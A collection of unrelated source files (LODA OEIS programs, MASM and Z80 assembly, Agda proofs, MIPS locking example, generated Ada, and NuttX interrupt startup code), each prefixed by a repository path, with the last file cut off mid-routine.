programs/oeis/145/A145677.asm | neoneye/loda | 22 | 174902 | ; A145677: Triangle T(n,m) read by rows: T(n,0) =1; T(n,n) =n, n>0; T(n,k) =0, 0<k<n-1 .
; 1,1,1,1,0,2,1,0,0,3,1,0,0,0,4,1,0,0,0,0,5,1,0,0,0,0,0,6,1,0,0,0,0,0,0,7,1,0,0,0,0,0,0,0,8,1,0,0,0,0,0,0,0,0,9,1,0,0,0,0,0,0,0,0,0,10,1,0,0,0,0,0,0,0,0,0,0,11
lpb $0
mov $2,$0
sub $0,1
add $1,1
sub $0,$1
sub $2,2
lpe
bin $1,$2
mov $0,$1
|
MasmEd/MasmEd/About/About.asm | CherryDT/FbEditMOD | 11 | 22001 | IDD_DLGABOUT equ 4900
IDC_EDTABOUT equ 1001
IDC_URL1 equ 1002
IDC_URL2 equ 1003
.data?
OldUrlProc dd ?
fMouseOver dd ?
hUrlFont dd ?
hUrlFontU dd ?
hUrlBrush dd ?
.code
UrlProc proc hWin:HWND,uMsg:UINT,wParam:WPARAM,lParam:LPARAM
LOCAL rect:RECT
LOCAL buffer[128]:BYTE
mov eax,uMsg
.if eax==WM_MOUSEMOVE
invoke GetClientRect,hWin,addr rect
invoke GetCapture
.if eax!=hWin
mov fMouseOver,TRUE
invoke SetCapture,hWin
invoke SendMessage,hWin,WM_SETFONT,hUrlFontU,TRUE
.endif
mov edx,lParam
movzx eax,dx
shr edx,16
.if eax>rect.right || edx>rect.bottom
mov fMouseOver,FALSE
invoke ReleaseCapture
invoke SendMessage,hWin,WM_SETFONT,hUrlFont,TRUE
.endif
.elseif eax==WM_LBUTTONUP
mov fMouseOver,FALSE
invoke ReleaseCapture
invoke SendMessage,hWin,WM_SETFONT,hUrlFont,TRUE
invoke GetWindowText,hWin,addr buffer,sizeof buffer
invoke ShellExecute,ha.hWnd,addr szOpen,addr buffer,NULL,NULL,SW_SHOWNORMAL
.elseif eax==WM_SETCURSOR
invoke LoadCursor,NULL,IDC_HAND
invoke SetCursor,eax
.else
invoke CallWindowProc,OldUrlProc,hWin,uMsg,wParam,lParam
ret
.endif
xor eax,eax
ret
UrlProc endp
AboutProc proc hWin:HWND,uMsg:UINT,wParam:WPARAM,lParam:LPARAM
LOCAL lf:LOGFONT
mov eax,uMsg
.if eax==WM_INITDIALOG
invoke SetWindowText,hWin,addr szVersion
invoke SendDlgItemMessage,hWin,IDC_EDTABOUT,WM_SETTEXT,0,addr szAboutMsg
invoke SendDlgItemMessage,hWin,IDC_URL1,WM_SETTEXT,0,addr szAboutUrl1
; invoke SendDlgItemMessage,hWin,IDC_URL2,WM_SETTEXT,0,addr szAboutUrl2
invoke GetDlgItem,hWin,IDC_URL1
invoke SetWindowLong,eax,GWL_WNDPROC,addr UrlProc
mov OldUrlProc,eax
invoke GetDlgItem,hWin,IDC_URL2
invoke SetWindowLong,eax,GWL_WNDPROC,addr UrlProc
invoke SendMessage,hWin,WM_GETFONT,0,0
mov hUrlFont,eax
invoke GetObject,hUrlFont,sizeof LOGFONT,addr lf
mov lf.lfUnderline, TRUE
invoke CreateFontIndirect,addr lf
mov hUrlFontU,eax
invoke GetSysColor,COLOR_3DFACE
invoke CreateSolidBrush,eax
mov hUrlBrush,eax
.elseif eax==WM_COMMAND
mov eax,wParam
mov edx,eax
shr edx,16
and eax,0FFFFh
.if edx==BN_CLICKED
.if eax==IDOK
invoke SendMessage,hWin,WM_CLOSE,NULL,NULL
.endif
.endif
.elseif eax==WM_CTLCOLORSTATIC
invoke GetDlgItem,hWin,IDC_URL1
push eax
invoke GetDlgItem,hWin,IDC_URL2
pop edx
mov ecx,eax
xor eax,eax
.if edx==lParam || ecx==lParam
.if fMouseOver
mov eax,0FF0000h
.endif
invoke SetTextColor,wParam,eax
invoke SetBkMode,wParam,TRANSPARENT
mov eax,hUrlBrush
.endif
ret
.elseif eax==WM_CLOSE
invoke DeleteObject,hUrlFontU
invoke DeleteObject,hUrlBrush
invoke EndDialog,hWin,NULL
.else
mov eax,FALSE
ret
.endif
mov eax,TRUE
ret
AboutProc endp
|
data/mapHeaders/CinnabarLabTradeRoom.asm | AmateurPanda92/pokemon-rby-dx | 9 | 3252 | CinnabarLabTradeRoom_h:
db LAB ; tileset
db CINNABAR_LAB_TRADE_ROOM_HEIGHT, CINNABAR_LAB_TRADE_ROOM_WIDTH ; dimensions (y, x)
dw CinnabarLabTradeRoom_Blocks ; blocks
dw CinnabarLabTradeRoom_TextPointers ; texts
dw CinnabarLabTradeRoom_Script ; scripts
db 0 ; connections
dw CinnabarLabTradeRoom_Object ; objects
|
lemmas-complete.agda | hazelgrove/hazel-palette-agda | 4 | 14963 | open import Nat
open import Prelude
open import core
open import lemmas-gcomplete
module lemmas-complete where
lem-comp-pair1 : ∀{d1 d2} → ⟨ d1 , d2 ⟩ dcomplete → d1 dcomplete
lem-comp-pair1 (DCPair h _) = h
lem-comp-pair2 : ∀{d1 d2} → ⟨ d1 , d2 ⟩ dcomplete → d2 dcomplete
lem-comp-pair2 (DCPair _ h) = h
lem-comp-prod1 : ∀{τ1 τ2} → τ1 ⊗ τ2 tcomplete → τ1 tcomplete
lem-comp-prod1 (TCProd h _) = h
lem-comp-prod2 : ∀{τ1 τ2} → τ1 ⊗ τ2 tcomplete → τ2 tcomplete
lem-comp-prod2 (TCProd _ h) = h
-- no term is both complete and indeterminate
lem-ind-comp : ∀{d} → d dcomplete → d indet → ⊥
lem-ind-comp DCVar ()
lem-ind-comp DCConst ()
lem-ind-comp (DCLam comp x₁) ()
lem-ind-comp (DCAp comp comp₁) (IAp x ind x₁) = lem-ind-comp comp ind
lem-ind-comp (DCCast comp x x₁) (ICastArr x₂ ind) = lem-ind-comp comp ind
lem-ind-comp (DCCast comp x x₁) (ICastGroundHole x₂ ind) = lem-ind-comp comp ind
lem-ind-comp (DCCast comp x x₁) (ICastHoleGround x₂ ind x₃) = lem-ind-comp comp ind
lem-ind-comp (DCCast dc x x₁) (ICastProd x₂ ind) = lem-ind-comp dc ind
lem-ind-comp (DCFst d) (IFst ind x x₁) = lem-ind-comp d ind
lem-ind-comp (DCSnd d) (ISnd ind x x₁) = lem-ind-comp d ind
lem-ind-comp (DCPair d d₁) (IPair1 ind x) = lem-ind-comp d ind
lem-ind-comp (DCPair d d₁) (IPair2 x ind) = lem-ind-comp d₁ ind
-- complete types that are consistent are equal
complete-consistency : ∀{τ1 τ2} → τ1 ~ τ2 → τ1 tcomplete → τ2 tcomplete → τ1 == τ2
complete-consistency TCRefl TCBase comp2 = refl
complete-consistency TCRefl (TCArr comp1 comp2) comp3 = refl
complete-consistency TCHole1 comp1 ()
complete-consistency TCHole2 () comp2
complete-consistency (TCArr consis consis₁) (TCArr comp1 comp2) (TCArr comp3 comp4)
with complete-consistency consis comp1 comp3 | complete-consistency consis₁ comp2 comp4
... | refl | refl = refl
complete-consistency TCRefl (TCProd tc' tc'') = λ _ → refl
complete-consistency (TCProd tc tc') (TCProd tc1 tc2) (TCProd tc3 tc4)
with complete-consistency tc tc1 tc3 | complete-consistency tc' tc2 tc4
... | refl | refl = refl
-- a well typed complete term is assigned a complete type
complete-ta : ∀{Γ Δ d τ} → (Γ gcomplete) →
(Δ , Γ ⊢ d :: τ) →
d dcomplete →
τ tcomplete
complete-ta gc TAConst comp = TCBase
complete-ta gc (TAVar x₁) DCVar = gc _ _ x₁
complete-ta gc (TALam a wt) (DCLam comp x₁) = TCArr x₁ (complete-ta (gcomp-extend gc x₁ a ) wt comp)
complete-ta gc (TAAp wt wt₁) (DCAp comp comp₁) with complete-ta gc wt comp
complete-ta gc (TAAp wt wt₁) (DCAp comp comp₁) | TCArr qq qq₁ = qq₁
complete-ta gc (TAEHole x x₁) ()
complete-ta gc (TANEHole x wt x₁) ()
complete-ta gc (TACast wt x) (DCCast comp x₁ x₂) = x₂
complete-ta gc (TAFailedCast wt x x₁ x₂) ()
complete-ta gc (TAFst wt) (DCFst comp) = lem-comp-prod1 (complete-ta gc wt comp)
complete-ta gc (TASnd wt) (DCSnd comp) = lem-comp-prod2 (complete-ta gc wt comp)
complete-ta gc (TAPair ta ta₁) (DCPair comp comp₁) = TCProd (complete-ta gc ta comp) (complete-ta gc ta₁ comp₁)
-- a well typed term synthesizes a complete type
comp-synth : ∀{Γ e τ} →
Γ gcomplete →
e ecomplete →
Γ ⊢ e => τ →
τ tcomplete
comp-synth gc ec SConst = TCBase
comp-synth gc (ECAsc x ec) (SAsc x₁) = x
comp-synth gc ec (SVar x) = gc _ _ x
comp-synth gc (ECAp ec ec₁) (SAp _ wt MAHole x₁) with comp-synth gc ec wt
... | ()
comp-synth gc (ECAp ec ec₁) (SAp _ wt MAArr x₁) with comp-synth gc ec wt
comp-synth gc (ECAp ec ec₁) (SAp _ wt MAArr x₁) | TCArr qq qq₁ = qq₁
comp-synth gc () SEHole
comp-synth gc () (SNEHole _ wt)
comp-synth gc (ECLam2 ec x₁) (SLam x₂ wt) = TCArr x₁ (comp-synth (gcomp-extend gc x₁ x₂) ec wt)
comp-synth gc (ECFst ec) (SFst wt MPHole) = comp-synth gc ec wt
comp-synth gc (ECFst ec) (SFst wt MPProd) = lem-comp-prod1 (comp-synth gc ec wt)
comp-synth gc (ECSnd ec) (SSnd wt MPHole) = comp-synth gc ec wt
comp-synth gc (ECSnd ec) (SSnd wt MPProd) = lem-comp-prod2 (comp-synth gc ec wt)
comp-synth gc (ECPair ec ec₁) (SPair x wt wt₁) = TCProd (comp-synth gc ec wt) (comp-synth gc ec₁ wt₁)
-- complete boxed values are just values
lem-comp-boxed-val : {Δ : hctx} {d : iexp} {τ : typ} {Γ : tctx} →
Δ , Γ ⊢ d :: τ →
d dcomplete →
d boxedval →
d val
lem-comp-boxed-val wt comp (BVVal VConst) = VConst
lem-comp-boxed-val wt comp (BVVal VLam) = VLam
lem-comp-boxed-val wt comp (BVVal (VPair x x₁)) = VPair x x₁
lem-comp-boxed-val (TAPair wt wt₁) (DCPair comp comp₁) (BVPair bv bv₁) = VPair (lem-comp-boxed-val wt comp bv)
(lem-comp-boxed-val wt₁ comp₁ bv₁)
lem-comp-boxed-val (TACast wt x₃) (DCCast comp x₁ x₂) (BVArrCast x bv) = abort (x (complete-consistency x₃ x₁ x₂))
lem-comp-boxed-val (TACast wt x₁) (DCCast comp x₂ x₃) (BVProdCast x bv) = abort (x (complete-consistency x₁ x₂ x₃))
lem-comp-boxed-val (TACast wt x₁) (DCCast comp x₂ ()) (BVHoleCast x bv)
|
asmFiles/example.asm | hythzz/MIPS-Processor | 0 | 26357 | <gh_stars>0
#------------------------------------------
# Originally Test and Set example by <NAME>
# Modified to be LL and SC example by <NAME>
#------------------------------------------
#----------------------------------------------------------
# First Processor
#----------------------------------------------------------
org 0x0000 # first processor p0
ori $sp, $zero, 0x3ffc # stack
jal mainp0 # go to program
halt
# pass in an address to lock function in argument register 0
# returns when lock is available
lock:
aquire:
ll $t0, 0($a0) # load lock location
bne $t0, $0, aquire # wait on lock to be open
addiu $t0, $t0, 1
sc $t0, 0($a0)
beq $t0, $0, lock # if sc failed retry
jr $ra
# pass in an address to unlock function in argument register 0
# returns when lock is free
unlock:
sw $0, 0($a0)
jr $ra
# main function does something ugly but demonstrates beautifully
mainp0:
push $ra # save return address
ori $a0, $zero, l1 # move lock to arguement register
jal lock # try to aquire the lock
# critical code segment
ori $t2, $zero, res
lw $t0, 0($t2)
addiu $t1, $t0, 2
sw $t1, 0($t2)
# critical code segment
ori $a0, $zero, l1 # move lock to arguement register
jal unlock # release the lock
pop $ra # get return address
jr $ra # return to caller
l1:
cfw 0x0
#----------------------------------------------------------
# Second Processor
#----------------------------------------------------------
org 0x200 # second processor p1
ori $sp, $zero, 0x7ffc # stack
jal mainp1 # go to program
halt
# main function does something ugly but demonstrates beautifully
mainp1:
push $ra # save return address
ori $a0, $zero, l1 # move lock to arguement register
jal lock # try to aquire the lock
# critical code segment
ori $t2, $zero, res
lw $t0, 0($t2)
addiu $t1, $t0, 1
sw $t1, 0($t2)
# critical code segment
ori $a0, $zero, l1 # move lock to arguement register
jal unlock # release the lock
pop $ra # get return address
jr $ra # return to caller
res:
cfw 0x0 # end result should be 3
|
Data/Nat/DivMod.agda | oisdk/agda-playground | 6 | 14198 | <filename>Data/Nat/DivMod.agda
{-# OPTIONS --without-K --safe #-}
module Data.Nat.DivMod where
open import Data.Nat.Base
open import Agda.Builtin.Nat as Nat
open import Data.Bool
nonZero : ℕ → Bool
nonZero (suc _) = true
nonZero zero = false
infixl 8 _÷_
_÷_ : (n m : ℕ) → { m≢0 : T (nonZero m) } → ℕ
_÷_ n (suc m) = Nat.div-helper 0 m n m
rem : (n m : ℕ) → { m≢0 : T (nonZero m) } → ℕ
rem n (suc m) = Nat.mod-helper 0 m n m
even : ℕ → Bool
even n = rem n 2 Nat.== 0
|
SoundOff/Release/SOff_GetUnicodeStringPointer.asm | txwizard/SoundOff | 1 | 90256 | <filename>SoundOff/Release/SOff_GetUnicodeStringPointer.asm
; Listing generated by Microsoft (R) Optimizing Compiler Version 18.00.31101.0
TITLE C:\Users\DAVE\Documents\Programming\Visual_Studio_6\EXE\Console\SoundOff\SoundOff\SOff_GetUnicodeStringPointer.C
.686P
.XMM
include listing.inc
.model flat
INCLUDELIB OLDNAMES
EXTRN __imp__LoadStringW@16:PROC
EXTRN @__security_check_cookie@4:PROC
PUBLIC _SOff_GetUnicodeStringPointer@12
; Function compile flags: /Ogtp
; File c:\users\dave\documents\programming\visual_studio_6\exe\console\soundoff\soundoff\soff_getunicodestringpointer.c
; COMDAT _SOff_GetUnicodeStringPointer@12
_TEXT SEGMENT
_lpTheString$ = -4 ; size = 4
_plpuintLength$dead$ = 8 ; size = 4
_SOff_GetUnicodeStringPointer@12 PROC ; COMDAT
; _phSourceModule$dead$ = ecx
; _puintStringID$ = edx
; 14 : {
push ebp
mov ebp, esp
push ecx
push esi
; 15 : LPTSTR lpTheString = NULL ;
; 16 :
; 17 : if ( plpuintLength )
; 18 : { // The documented return value of LoadString excludes the trailing null. However, when nBufferMax = RCDATA_INPLACE_POINTER, it is included.
; 19 : if ( *plpuintLength = ( LoadString ( phSourceModule , // _in_ HMODULE hModule
; 20 : puintStringID , // _In_ UINT uID
; 21 : ( LPTSTR ) &lpTheString , // _Out_ LPTSTR lpBuffer
; 22 : RCDATA_INPLACE_POINTER ) // _In_ int nBufferMax
; 23 : - TRAILING_NULL_ALLOWANCE_P6C ) )
; 24 : { // Have pointer, will return.
; 25 : return lpTheString ;
; 26 : } // if ( ( *plpuintLength = LoadString ( phSourceModule , puintStringID , ( LPTSTR ) &lpTheString , RCDATA_INPLACE_POINTER ) ) )
; 27 : } // TRUE (Return the string length through the supplied pointer) block, if ( plpuintLength )
; 28 : else
; 29 : {
; 30 : if ( LoadString ( phSourceModule , // _in_ HMODULE hModule
; 31 : puintStringID , // _In_ UINT uID
; 32 : ( LPTSTR ) &lpTheString , // _Out_ LPTSTR lpBuffer
; 33 : RCDATA_INPLACE_POINTER ) ) // _In_ int nBufferMax
push 0
lea eax, DWORD PTR _lpTheString$[ebp]
mov DWORD PTR _lpTheString$[ebp], 0
push eax
mov esi, edx
push esi
push 0
call DWORD PTR __imp__LoadStringW@16
test eax, eax
je SHORT $LN1@SOff_GetUn
; 34 : { // Have pointer, will return.
; 35 : return lpTheString ;
mov eax, DWORD PTR _lpTheString$[ebp]
pop esi
; 50 : } // SOff_GetUnicodeStringPointer
mov esp, ebp
pop ebp
ret 4
$LN1@SOff_GetUn:
; 36 : } // if ( LoadString ( phSourceModule , puintStringID , ( LPTSTR ) &lpTheString , RCDATA_INPLACE_POINTER ) )
; 37 : } // FALSE (The caller said that it doesn't need to know how long the string is.) block, if ( plpuintLength )
; 38 :
; 39 : // ------------------------------------------------------------------------
; 40 : // Make a report about the error retrievable through FB_GetlpErrMsgSprintf,
; 41 : // then return NULL (always NULL) to signal the caller to fetch the message
; 42 : // or do whatever else it wants about the load error. If the Structured
; 43 : // Exception Handling flag is enabled, this call won't actually return,
; 44 : // because raising the exception unwinds the stack.
; 45 : // ------------------------------------------------------------------------
; 46 :
; 47 : return ( LPTSTR ) SOff_ReportLoadStringError ( phSourceModule ,
; 48 : puintStringID ,
; 49 : RCDATA_INPLACE_POINTER ) ;
push ecx
mov edx, esi
call _SOff_ReportLoadStringError@12
pop esi
; 50 : } // SOff_GetUnicodeStringPointer
mov esp, ebp
pop ebp
ret 4
_SOff_GetUnicodeStringPointer@12 ENDP
_TEXT ENDS
END
|
generated/natools-static_maps-web-comments-item_elements.adb | faelys/natools-web | 1 | 28146 | <filename>generated/natools-static_maps-web-comments-item_elements.adb
with Interfaces; use Interfaces;
package body Natools.Static_Maps.Web.Comments.Item_Elements is
P : constant array (0 .. 0) of Natural :=
(0 .. 0 => 1);
T1 : constant array (0 .. 0) of Unsigned_8 :=
(0 .. 0 => 2);
T2 : constant array (0 .. 0) of Unsigned_8 :=
(0 .. 0 => 4);
G : constant array (0 .. 6) of Unsigned_8 :=
(0, 0, 1, 0, 0, 0, 0);
function Hash (S : String) return Natural is
F : constant Natural := S'First - 1;
L : constant Natural := S'Length;
F1, F2 : Natural := 0;
J : Natural;
begin
for K in P'Range loop
exit when L < P (K);
J := Character'Pos (S (P (K) + F));
F1 := (F1 + Natural (T1 (K)) * J) mod 7;
F2 := (F2 + Natural (T2 (K)) * J) mod 7;
end loop;
return (Natural (G (F1)) + Natural (G (F2))) mod 2;
end Hash;
end Natools.Static_Maps.Web.Comments.Item_Elements;
|
programs/oeis/184/A184552.asm | karttu/loda | 0 | 165424 | <reponame>karttu/loda<gh_stars>0
; A184552: Super-birthdays (falling on the same weekday), version 4 (birth in the year preceding a February 29).
; 0,5,11,22,28,33,39,50,56,61,67,78,84,89,95,106,112,117,123,134,140,145,151,162,168,173,179,190,196,201,207,218,224,229,235,246,252,257,263,274,280,285,291,302,308,313,319,330,336,341,347,358,364,369,375,386,392,397,403,414,420,425,431,442,448,453,459,470,476,481,487,498,504,509,515,526,532,537,543,554,560,565,571,582,588,593,599,610,616,621,627,638,644,649,655,666,672,677,683,694,700,705,711,722,728,733,739,750,756,761,767,778,784,789,795,806,812,817,823,834,840,845,851,862,868,873,879,890,896,901,907,918,924,929,935,946,952,957,963,974,980,985,991,1002,1008,1013,1019,1030,1036,1041,1047,1058,1064,1069,1075,1086,1092,1097,1103,1114,1120,1125,1131,1142,1148,1153,1159,1170,1176,1181,1187,1198,1204,1209,1215,1226,1232,1237,1243,1254,1260,1265,1271,1282,1288,1293,1299,1310,1316,1321,1327,1338,1344,1349,1355,1366,1372,1377,1383,1394,1400,1405,1411,1422,1428,1433,1439,1450,1456,1461,1467,1478,1484,1489,1495,1506,1512,1517,1523,1534,1540,1545,1551,1562,1568,1573,1579,1590,1596,1601,1607,1618,1624,1629,1635,1646,1652,1657,1663,1674,1680,1685,1691,1702,1708,1713,1719,1730,1736,1741
mov $2,$0
add $0,2
lpb $0,1
trn $0,2
trn $1,$0
trn $0,1
add $1,$0
trn $0,1
add $1,5
lpe
lpb $2,1
add $1,5
sub $2,1
lpe
sub $1,5
|
programs/oeis/190/A190576.asm | neoneye/loda | 22 | 22622 | <reponame>neoneye/loda
; A190576: a(n) = n^2 + 5*n - 5.
; 1,9,19,31,45,61,79,99,121,145,171,199,229,261,295,331,369,409,451,495,541,589,639,691,745,801,859,919,981,1045,1111,1179,1249,1321,1395,1471,1549,1629,1711,1795,1881,1969,2059,2151,2245,2341,2439,2539,2641,2745,2851,2959,3069,3181,3295,3411,3529,3649,3771,3895,4021,4149,4279,4411,4545,4681,4819,4959,5101,5245,5391,5539,5689,5841,5995,6151,6309,6469,6631,6795,6961,7129,7299,7471,7645,7821,7999,8179,8361,8545,8731,8919,9109,9301,9495,9691,9889,10089,10291,10495
mov $1,$0
add $1,7
mul $0,$1
add $0,1
|
oeis/137/A137591.asm | neoneye/loda-programs | 11 | 1990 | ; A137591: Number of parenthesizings of products formed by n factors assuming nonassociativity and partial commutativity: individual factors commute, but bracketed expressions don't commute with anything.
; Submitted by <NAME>(s4)
; 1,1,6,54,660,10260,194040,4326840,111177360,3234848400,105135861600,3775206204000,148426878600000,6341634955656000,292576856395824000,14496220038251952000,767691210706291872000,43274547687106768032000,2587028200730649643968000,163484729048197101504960000,10889148561233306173729920000,762449368240669819244895360000,55988194934812295022178671360000,4302411454412619506605511504640000,345303142863624450077497404480000000,28891934828060683674998407408704000000
mov $1,1
mov $2,1
lpb $0
sub $0,1
mul $1,$0
add $2,$1
mul $1,2
add $1,$2
mul $2,$0
add $2,$1
lpe
mov $0,$1
|
oeis/338/A338882.asm | neoneye/loda-programs | 11 | 88922 | <filename>oeis/338/A338882.asm
; A338882: Product of the nonzero digits of (n written in base 9).
; 1,1,2,3,4,5,6,7,8,1,1,2,3,4,5,6,7,8,2,2,4,6,8,10,12,14,16,3,3,6,9,12,15,18,21,24,4,4,8,12,16,20,24,28,32,5,5,10,15,20,25,30,35,40,6,6,12,18,24,30,36,42,48,7,7,14,21,28,35,42,49,56,8,8,16,24,32,40,48,56,64
mov $1,8
lpb $0
mov $2,$0
div $0,9
mod $2,9
mov $3,$2
cmp $3,0
add $2,$3
mul $1,$2
lpe
div $1,8
mov $0,$1
|
oeis/027/A027976.asm | neoneye/loda-programs | 11 | 244406 | <gh_stars>10-100
; A027976: n-th diagonal sum of right justified array T given by A027960.
; 1,1,4,6,10,18,29,47,78,126,204,332,537,869,1408,2278,3686,5966,9653,15619,25274,40894,66168,107064,173233,280297,453532,733830,1187362,1921194,3108557,5029751,8138310,13168062,21306372,34474436,55780809,90255245,146036056,236291302,382327358,618618662,1000946021,1619564683,2620510706,4240075390,6860586096,11100661488,17961247585,29061909073,47023156660,76085065734,123108222394,199193288130,322301510525,521494798655,843796309182,1365291107838,2209087417020,3574378524860,5783465941881
mov $3,2
mov $5,$0
lpb $3
mov $0,$5
sub $3,1
add $0,$3
add $0,1
seq $0,192981 ; Constant term of the reduction by x^2 -> x+1 of the polynomial p(n,x) defined at Comments.
div $0,2
mov $2,$3
mov $4,$0
lpb $2
mov $1,$4
sub $2,1
lpe
lpe
lpb $5
sub $1,$4
mov $5,0
lpe
mov $0,$1
|
programs/oeis/115/A115302.asm | karttu/loda | 0 | 10045 | ; A115302: Permutation of natural numbers generated by 3-rowed array shown below.
; 1,4,2,7,5,3,10,8,6,13,11,9,16,14,12,19,17,15,22,20,18,25,23,21,28,26,24,31,29,27,34,32,30,37,35,33,40,38,36,43,41,39,46,44,42,49,47,45,52,50,48,55,53,51,58,56,54,61,59,57,64,62,60
lpb $0,1
add $2,1
mov $3,$0
sub $0,1
trn $0,$2
add $1,3
mov $2,1
lpe
sub $1,$3
add $1,$2
mov $2,$3
trn $2,1
sub $1,$2
add $1,1
|
configs/xtrs/src/xtrs_head.asm | liuweisword/Nuttx | 15 | 10267 | ;**************************************************************************
; configs/xtrs/src/xtrs_head.asm
;
; Copyright (C) 2008-2009, 2012 <NAME>. All rights reserved.
; Author: <NAME> <<EMAIL>>
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions
; are met:
;
; 1. Redistributions of source code must retain the above copyright
; notice, this list of conditions and the following disclaimer.
; 2. Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions and the following disclaimer in
; the documentation and/or other materials provided with the
; distribution.
; 3. Neither the name NuttX nor the names of its contributors may be
; used to endorse or promote products derived from this software
; without specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
; FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
; COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
; INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
; BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
; OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
; AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
; LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
; ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
; POSSIBILITY OF SUCH DAMAGE.
;
;**************************************************************************
.title NuttX for the Z80
.module xtrs_head
;**************************************************************************
; Constants
;**************************************************************************
; Register save area layout
XCPT_I == 0 ; Offset 0: Saved I w/interrupt state in parity
XCPT_BC == 2 ; Offset 1: Saved BC register
XCPT_DE == 4 ; Offset 2: Saved DE register
XCPT_IX == 6 ; Offset 3: Saved IX register
XCPT_IY == 8 ; Offset 4: Saved IY register
XCPT_SP == 10 ; Offset 5: Offset to SP at time of interrupt
XCPT_HL == 12 ; Offset 6: Saved HL register
XCPT_AF == 14 ; Offset 7: Saved AF register
XCPT_PC == 16 ; Offset 8: Offset to PC at time of interrupt
; Default stack base (needs to be fixed)
.include "asm_mem.h"
;**************************************************************************
; Global symbols used
;**************************************************************************
.globl _os_start ; OS entry point
.globl _up_doirq ; Interrupt decoding logic
;**************************************************************************
; System start logic
;**************************************************************************
_up_reset:
; Set up the stack pointer at the location determined the Makefile
; and stored in asm_mem.h
ld SP, #CONFIG_STACK_END ; Set stack pointer
; Performed initialization unique to the SDCC toolchain
call gsinit ; Initialize the data section
; Copy the reset vectors
ld hl, #_up_rstvectors ; code for RAM
ld de, #0x4000 ; move it here
ld bc, #3*7 ; 7 vectors / 3 bytes each
ldir
; Then start NuttX
call _os_start ; jump to the OS entry point
; NuttX will never return, but just in case...
_up_halt::
halt ; We should never get here
jp _up_halt
; Data to copy to address 0x4000
_up_rstvectors:
jp _up_rst1 ; 0x4000 : RST 1
jp _up_rst2 ; 0x4003 : RST 2
jp _up_rst3 ; 0x4006 : RST 3
jp _up_rst4 ; 0x4009 : RST 4
jp _up_rst5 ; 0x400c : RST 5
jp _up_rst6 ; 0x400f : RST 6
jp _up_rst7 ; 0x4012 : RST 7
;**************************************************************************
; Other reset handlers
;
; Interrupt mode 1 behavior:
;
; 1. M1 cycle: 7 ticks
; Acknowledge interrupt and decrements SP
; 2. M2 cycle: 3 ticks
; Writes the MS byte of the PC onto the stack and decrements SP
; 3. M3 cycle: 3 ticks
; Writes the LS byte of the PC onto the stack and sets the PC to 0x0038.
;
;**************************************************************************
_up_rst1: ; RST 1
; Save AF on the stack, set the interrupt number and jump to the
; common reset handling logic.
; Offset 8: Return PC is already on the stack
push af ; Offset 7: AF (retaining flags)
ld a, #1 ; 1 = Z80_RST1
jr _up_rstcommon ; Remaining RST handling is common
_up_rst2: ; RST 2
; Save AF on the stack, set the interrupt number and jump to the
; common reset handling logic.
; Offset 8: Return PC is already on the stack
push af ; Offset 7: AF (retaining flags)
ld a, #2 ; 2 = Z80_RST2
jr _up_rstcommon ; Remaining RST handling is common
_up_rst3: ; RST 3
; Save AF on the stack, set the interrupt number and jump to the
; common reset handling logic.
; Offset 8: Return PC is already on the stack
push af ; Offset 7: AF (retaining flags)
ld a, #3 ; 1 = Z80_RST3
jr _up_rstcommon ; Remaining RST handling is common
_up_rst4: ; RST 4
; Save AF on the stack, set the interrupt number and jump to the
; common reset handling logic.
; Offset 8: Return PC is already on the stack
push af ; Offset 7: AF (retaining flags)
ld a, #4 ; 1 = Z80_RST4
jr _up_rstcommon ; Remaining RST handling is common
_up_rst5: ; RST 5
; Save AF on the stack, set the interrupt number and jump to the
; common reset handling logic.
; Offset 8: Return PC is already on the stack
push af ; Offset 7: AF (retaining flags)
ld a, #5 ; 1 = Z80_RST5
jr _up_rstcommon ; Remaining RST handling is common
_up_rst6: ; RST 6
; Save AF on the stack, set the interrupt number and jump to the
; common reset handling logic.
; Offset 8: Return PC is already on the stack
push af ; Offset 7: AF (retaining flags)
ld a, #6 ; 1 = Z80_RST6
jr _up_rstcommon ; Remaining RST handling is common
_up_rst7: ; RST 7
; Save AF on the stack, set the interrupt number and jump to the
; common reset handling logic.
; Offset 8: Return PC is already on the stack
push af ; Offset 7: AF (retaining flags)
ld a, #7 ; 7 = Z80_RST7
jr _up_rstcommon ; Remaining RST handling is common
;**************************************************************************
; Common Interrupt handler
;**************************************************************************
_up_rstcommon:
; Create a register frame. SP points to top of frame + 4, pushes
; decrement the stack pointer. Already have
;
; Offset 8: Return PC is already on the stack
; Offset 7: AF (retaining flags)
;
; IRQ number is in A
push hl ; Offset 6: HL
ld hl, #(3*2) ; HL is the value of the stack pointer before
add hl, sp ; the interrupt occurred
push hl ; Offset 5: Stack pointer
push iy ; Offset 4: IY
push ix ; Offset 3: IX
push de ; Offset 2: DE
push bc ; Offset 1: BC
ld b, a ; Save the reset number in B
ld a, i ; Parity bit holds interrupt state
push af ; Offset 0: I with interrupt state in parity
di
; Call the interrupt decode logic. SP points to the beggining of the reg structure
ld hl, #0 ; Argument #2 is the beginning of the reg structure
add hl, sp ;
push hl ; Place argument #2 at the top of stack
push bc ; Argument #1 is the Reset number
inc sp ; (make byte sized)
call _up_doirq ; Decode the IRQ
; On return, HL points to the beginning of the reg structure to restore
; Note that (1) the arguments pushed on the stack are not popped, and (2) the
; original stack pointer is lost. In the normal case (no context switch),
; HL will contain the value of the SP before the arguments wer pushed.
ld sp, hl ; Use the new stack pointer
; Restore registers. HL points to the beginning of the reg structure to restore
ex af, af' ; Select alternate AF
pop af ; Offset 0: AF' = I with interrupt state in parity
ex af, af' ; Restore original AF
pop bc ; Offset 1: BC
pop de ; Offset 2: DE
pop ix ; Offset 3: IX
